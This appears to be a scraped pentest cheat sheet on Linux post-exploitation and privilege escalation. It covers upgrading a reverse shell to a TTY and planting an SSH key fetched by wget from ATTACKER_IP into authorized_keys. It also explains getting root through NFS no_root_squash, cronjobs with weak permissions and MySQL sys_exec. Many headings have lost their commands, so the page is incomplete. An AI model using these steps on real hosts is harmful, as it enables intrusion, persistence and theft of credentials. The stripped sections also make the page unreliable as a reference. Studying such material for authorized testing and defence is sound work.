Linux Privilege Escalation

Post exploitation

Get a TTY shell after a reverse shell connection

$ python -c 'import pty;pty.spawn("/bin/bash")'

Set PATH TERM and SHELL if missing:

$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
export TERM=xterm
export SHELL=bash

Add public key to authorized keys:

$ echo $(wget https://ATTACKER_IP/.ssh/id_rsa.pub) >> ~/.ssh/authorized_keys

Linux Privesc

Things to look: Miss-configured services (cronjobs), incorrect file permissions (exportfs, sudo), miss-configured environment ($PATH), binary with SUID bit, software or OS with known vulnerabilities.

First try simple sudo:

$ sudo su -

What can we run with sudo?

$ sudo -l

Try su as all users and the username as password

What services are running as root?:

$ ps aux | grep root

Look for vulnerable/privileged components such as: mysql, sudo, udev, python

If /etc/exports if writable, you can add an NFS entry or change and existing entry adding the no_root_squash flag to a root directory, put a binary with SUID bit on, and get root.

If there is a cronjob that runs as run but it has incorrect file permissions, you can change it to run your SUID binary and get a shell.

The following command will list processes running by root, permissions and NFS exports.

Use netstat to find other machines connected

Command to skip ignored lines in config files

If Mysql is running as root, you can run commands using sys_exec(). For instance, to add user to sudoers:

More about mysql:

Find linux distribution & version

Architecture

Environment variables

Find printers

Find apps installed;

Find writable configuration files

Miss-configured services

Scheduled jobs

Grep hardcoded passwords

if web server run in web root:

Network configuration

List other users home directories

User bash history

User mails

Find interesting binaries

Mounted filesystems

Look for binaries with the SUID or GUID bits set.

Find other uses in the system

Last updated

Was this helpful?